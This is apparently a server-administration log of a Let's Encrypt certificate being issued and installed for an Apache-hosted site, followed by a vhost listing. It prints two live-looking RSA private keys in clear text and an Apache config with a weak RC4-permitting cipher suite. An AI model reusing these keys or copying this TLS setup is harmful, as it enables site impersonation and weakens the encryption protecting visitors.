JYDa8oubL9kAfbhv/IrRuEOacZLGGo8TRX/eLrZdinBwkMe+TiF4QaFQuaYZSlJi
+eyYZPrMtq6vekaFSmg33elUu99g1aqyvygF8TKP2nDnlrDh31Z9ikxxygwIm5qK
2om0W8Yta6oGtztJCGjuKyHT6VrM8TXp8O4nO/+PguoVU1mVmQ6j18bNLvMs0qxr
6xs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDSAvclfNMVB1kz
lZaJAFSEW26WaktWZQpMz/YNK3mGu461eZMBHetkz8ztr1t9Yu9tQZadebk41GWe
CHR9ITN9u5552CCIiU2eZTmfQXs3limAmuN5r68+6ZuAYJHDpYUnWXGylyqyBE6+
ZgE+dGd4JsKMuwgYeWLF3SCWZfaeXVdIBibAk73wGvir0+bUBmjhGJO9n6dE7W1w
myW9dcWwENtmFlOFnfP4IWwFH41tShXS9ug/yPLZLWHk6brNabENrpYf0gsBfQYj
cs0UtqMo4XSWtBE+GDX/XJz9G7P1bqzV3fGlB7UM0uJZigKczRUnRbGXOsFqVTl5
u77iGEKxAgMBAAECggEAArwqJtFU2GnDliHlF3yrHRwpuQjCWWowc6ajsDE4QHJx
3dgq+3E9zw7Lvu6xNNVUg+o+QWfD60MM3b2Dctu7VXBblH+lkNGk8qKj2Pib17H7
cWLTApMwp5OYRFg9nbwqm0QVcHt6gV3//ofKjVsru8tZbkbDSLpP+H60PXEvgIl1
m9COhHMM2CBTCadQOGncw1S/6fAFG25ENdYftjSVBaKAGwc4U3jdtsvBwhyYQPJL
QEunAt3ZyD9pbmfj5NRy9snJdD8caVgsQBa3ZZKSG1ihvfQUTiSrSa1kbqTPtTPZ
+BZ8XyhFWE1kEYvtoB1hYtSuV1KrOAos31vQpIE4vwKBgQD3GOPsx6gG7B0qOidw
JEweZz8A+whjejnd2Mi0jpcB7rIKFEcg54pU52dgRm3NLnJLcwnhg7JM7lg86g3a
SKHPs90yWF+i8JX091MqbcUJ1WRPbpIcnQ96MaKOms86sU16IzKW4uM7u+SERW8a
f7zjap8E4C1Z8Hn5FBijBbxvOwKBgQDZlAOuzDWP+GSjG+9jbBDryVSgM4nnbLUr
FPKFeveXcu3RT5yziN+Gkk9mhD/2rChD+V/2O3R8MikTCcJxLKUmHcEeyFPD3Imb
Xex/7BcJrdmAKdX+KRCz5rfGFlcqhv+z/asRFG8CN6pRzLhTB52dzW17+S+8JZrK
XCH70jOPAwKBgQCF4ZmVMHSNE5+Vwp6dtzz6+Cv95wYbiB0UY6ITmnKdXGxg463K
WUntSNgNJPvXQUQyNylyY/3WiwmKL7LDw7jQpf7CiXl/+mT1rpAEHCe3dUR9eUZ3
dG3vYjdWlvCTN3/oHmwJrvM56Usek9RoAjAg9CMm7CQGaDJeT5ItuizoAwKBgAYx
ER3DT+7l6a8+l0RkCeM72n2omc8NJ+au9OvZgPw9WAkx08rEJWBF/55yOwPBCHBO
w21Vac4y+zpAd9kSpSx9gkZm+wNC3mOee6F0TX+IA/2Cs0VFU+VatnYboqViLBqq
KFkXFMWiYeVsBv7N461e8DOr9rDK/SmvD4SECdWTAoGBAOPDoDjXxXzct/xO5thj
1FFn7mOZP+kzFQx6HQ/O4+2cpY1r42JF76lPkTmlpUSzxjHc+FZWdVKELTk1xXSk
Ki0lFYYoYgmF7s6Ve/NwE/4GSy8/8pDwAPzc3AMim0lCAXHIRb/A7kjenFF4YXB9
WRh45JJE7JVy6qlCPVjmXbux
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-17 06:00:51: Establishing a connection
2026-02-17 06:00:52: Establishing a connection
2026-02-17 06:00:52: 

PUT: /tmp/pkp763867

#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-17 06:00:52: 

chmod 755 /tmp/pkp763867; /tmp/pkp763867; rm /tmp/pkp763867

2026-02-17 06:00:52: 


1


2026-02-17 06:00:52: Establishing a connection
2026-02-17 06:00:53: 

PUT: /tmp/pkp614956

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > 8MD-_S4zFEKhq_f2VWnq9VPZ0NmpMLN_aJ6QTuu8DoY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8MD-_S4zFEKhq_f2VWnq9VPZ0NmpMLN_aJ6QTuu8DoY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8MD-_S4zFEKhq_f2VWnq9VPZ0NmpMLN_aJ6QTuu8DoY
cat > 0Od-r8YbTCtZH_mGkndQlHLaEF9bA9ZPBXZI_tBjK34 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0Od-r8YbTCtZH_mGkndQlHLaEF9bA9ZPBXZI_tBjK34.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0Od-r8YbTCtZH_mGkndQlHLaEF9bA9ZPBXZI_tBjK34


2026-02-17 06:00:53: 

chmod 755 /tmp/pkp614956; /tmp/pkp614956; rm /tmp/pkp614956

2026-02-17 06:00:53: 




2026-02-17 06:01:03: Establishing a connection
2026-02-17 06:01:03: 

PUT: /tmp/pkp928681

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm 8MD-_S4zFEKhq_f2VWnq9VPZ0NmpMLN_aJ6QTuu8DoY
rm 0Od-r8YbTCtZH_mGkndQlHLaEF9bA9ZPBXZI_tBjK34


2026-02-17 06:01:03: 

chmod 755 /tmp/pkp928681; /tmp/pkp928681; rm /tmp/pkp928681

2026-02-17 06:01:03: 




2026-02-17 06:01:03: Establishing a connection
2026-02-17 06:01:03: 

PUT: /tmp/pkp919467

#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt

cat > $temp_file <<'endmsg'
59:4f:d5:45:3f:5f:b9:20:6e:df:ee:e6:e0:f4:2e:2b

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBkqvbi9BV9/FFKXEM2TwKP45MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE3MDUwMjMyWhcNMjYwNTE4MDUwMjMxWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAL0dv4ng90zQ2Vtwu+Alt6jUpxaNg8T9QPC/giw1srYkjkY+DeZy
ECaAodUKDFtFzOVy5pQI0aWBXpx8IGaSU131G2if4/kBZCPR6SwSvIIqaLMCgCSz
0TFu1IM0iUa382yrpIm+IIdLhZtQoMzM73k8KB+qSXUQiTlPOdp4kN+ySD3wsg63
Yk01k/QoezplQDoJ8bLlelI7g4hGeK6Y1I/PoTzr9hpAO1cIRmKneeWNp4A5J1BQ
VLRs5zyhayJe+8aUJNFyH+q09453pBfqcd4sXry0ElDVIkxkB+Nc7uqrtxiHdONb
stTx6H1oOapUchun94GUew7fDRkJrIXMGW0CAwEAAaOCAjswggI3MA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTGAxFrDv0cKvcc8k92tYIxHx+nNTAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMD8GA1UdEQQ4MDaCF2NhcmVsaW5rc2F1c3RyYWxpYS5p
bmZvght3d3cuY2FyZWxpbmtzYXVzdHJhbGlhLmluZm8wEwYDVR0gBAwwCjAIBgZn
gQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy81
OC5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgBkEcRspBLsp4kcogIuALyr
TygH1B41J6vq/tUDyX3N8AAAAZxqMBixAAAEAwBHMEUCIGzJdcZozsr2WeGf4E5K
WFPaTAqN8Jr2fn+WCqZZXurjAiEAz464Our+obsnssqq0PmJ8HeJTJRQlbm9k9Pr
xnPUUjUAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZxqMBkE
AAAEAwBIMEYCIQC4OyF6yTPDYb/kqDcET28oVJc5u2fRfLaq2yfxAN8fCAIhAIh3
mFu/cwcSsOGtoUh9OdtWm/1Oo4rpB4esv4aI4CEmMA0GCSqGSIb3DQEBCwUAA4IB
AQA2hQ4fxvBzzADQlFW1rbzoi0hFdvEVg2OWfCJg8EHegnZ1bnnryiVxxVDFdyfn
e5Hf/W1FL6wlqFOAB6TiD+yr5SYRUbNPiblys/04k233APKxig57lcX9xQMKVYNV
yVgYRLbXDHC3oL8WyrV4YyjjDSg5WrjKRCqBbQPuLtEEu5ERfx7cA2Jm+Eh6FbfM
iRGMLDAjspxnyadY6GFSofy0yygkhhBy9aN5CxCg7mQKQYnARDhqXQBXBLJRWj52
qnu1eRhDigkTGglH+3MgUSi7piJsS18H+0K/OGiYNWaFxXTeiyZ4STi0jyYm3Bu9
CF6YsQZh3wT9aBrEBlm+HSre
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9Hb+J4PdM0Nlb
cLvgJbeo1KcWjYPE/UDwv4IsNbK2JI5GPg3mchAmgKHVCgxbRczlcuaUCNGlgV6c
fCBmklNd9Rton+P5AWQj0eksEryCKmizAoAks9ExbtSDNIlGt/Nsq6SJviCHS4Wb
UKDMzO95PCgfqkl1EIk5TznaeJDfskg98LIOt2JNNZP0KHs6ZUA6CfGy5XpSO4OI
RniumNSPz6E86/YaQDtXCEZip3nljaeAOSdQUFS0bOc8oWsiXvvGlCTRch/qtPeO
d6QX6nHeLF68tBJQ1SJMZAfjXO7qq7cYh3TjW7LU8eh9aDmqVHIbp/eBlHsO3w0Z
CayFzBltAgMBAAECggEAAj5GHWMwyCQBPvH/AOH/eHbqkDOgZRTdJaJJu0C+/fa0
ooQTsefumhDc3Xn+4KnVF6ofF2LCB95Nu9cMouLW3XRt940stbc7WYTJhh6babGV
f06kFOWNmjgTuKlXZW4C8LXCmjpP9yXKEtDcjClc+hxVCt+o2C2qDwnnHMGD9A3c
3D05xLjkfO02vDPwxcDn0eTDr6Pg6nksTVE8c7jcJlmAcz7NxynvEuMXTxkuB2OK
r0eUQJpLrdNgkqKLfdAk30QtZweeMdzdwR2gY34Kzw3FWdbGe+uZLHIkX4+rrsC0
7mP7ddzEGqC2mHLvMMmNigGmUtVagxiXlsR3OIzT0QKBgQD6pthCXciuW7GGyEYV
4n8yH55nhIdlf37wG3yuNHeGp7ROLlYNZHG8psrsx4kHk7Q1o4UUwlqMe9qZrBzR
ezywl7ifo4DEG7ltKVZMYHrHqPqDLEDYmcZG4uisEEgqtJL/dQPoDT9Z2VAcbSjD
b9aa8FeL++NOFcUmAjNekBFC0QKBgQDBJsXd/T/DacJfSVgy/CwonmpFaNX9tzAH
EVzUDFpFoJyhB3tPRyvnIXevcrzHlooUY8w2t/YImxN8OZvumAnXZpWL5FuqlFph
XVkwXrPrcGvt/9HRV5delQD5rvo4wmdJYramSB5/yVhsKKbdGhJg4B/s6J0Km1k/
pu/BQ9t73QKBgFgu9Oy8dAsrxVRnB4lRi3CGAUPoM355EZ7F/OKJIPgl7mCHGs1R
ZlZ50/Dj7ojU5VTtt7dq/VJpjKn+DJGCqwJyDolTi8zy+BS4s1zhoLC3+ZLGsfXC
fCiaUkOe4tTrfMAVWg99AanJs86cdPf1U+pk3lgogXsKW7cYlRwS0Y/RAoGADq+b
Bdj2my4UaFhUS3QfC2uYGvTwqFzgWvk3/Kt/xaGDpz7BYnK/5NAHoKBxuB87GnfI
FDUCkP7xiVV8BLUssmMLZdqUGbEz+gk1+daJiZI/spXr5yXozXk43MMwJVaqscq+
pn//SaoOfhLNNSyBTzpbUxEQt7i+HXfc7O3y50UCgYEAvLwiRuEXsn7cqjueeIKp
ZRsRVcu9ed7+jnLmAuFJmZYORi0sPqew3Z1ArFlcf5I5bUkO5arSu+Up6jKwE3db
JRbDbbaBmb53q3xPlFAZIdTUGAc6XxGjjGqZVNCp+RkuulQ3R/uOS1whrk+iGdn2
nDM/42c56ieXLaGUf9qbW3E=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-17 06:01:03: 

chmod 755 /tmp/pkp919467; /tmp/pkp919467; rm /tmp/pkp919467

2026-02-17 06:01:03: 


dir=/etc/ssl/certs


2026-02-17 06:01:03: 

PUT: /tmp/pkp665893

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-17 06:01:03: 

chmod 755 /tmp/pkp665893; /tmp/pkp665893; rm /tmp/pkp665893

2026-02-17 06:01:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-17 06:01:03: 

PUT: /tmp/pkp160054

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi


2026-02-17 06:01:04: 

chmod 755 /tmp/pkp160054; /tmp/pkp160054; rm /tmp/pkp160054

2026-02-17 06:01:04: 




2026-02-17 06:01:04: 

PUT: /tmp/pkp878108

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-17 06:01:04: 

chmod 755 /tmp/pkp878108; /tmp/pkp878108; rm /tmp/pkp878108

2026-02-17 06:01:04: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-17 06:01:04: Establishing a connection
2026-02-17 06:01:04: 

PUT: /tmp/pkp774437

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-17 06:01:04: 

chmod 755 /tmp/pkp774437; /tmp/pkp774437; rm /tmp/pkp774437

2026-02-17 06:01:04: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
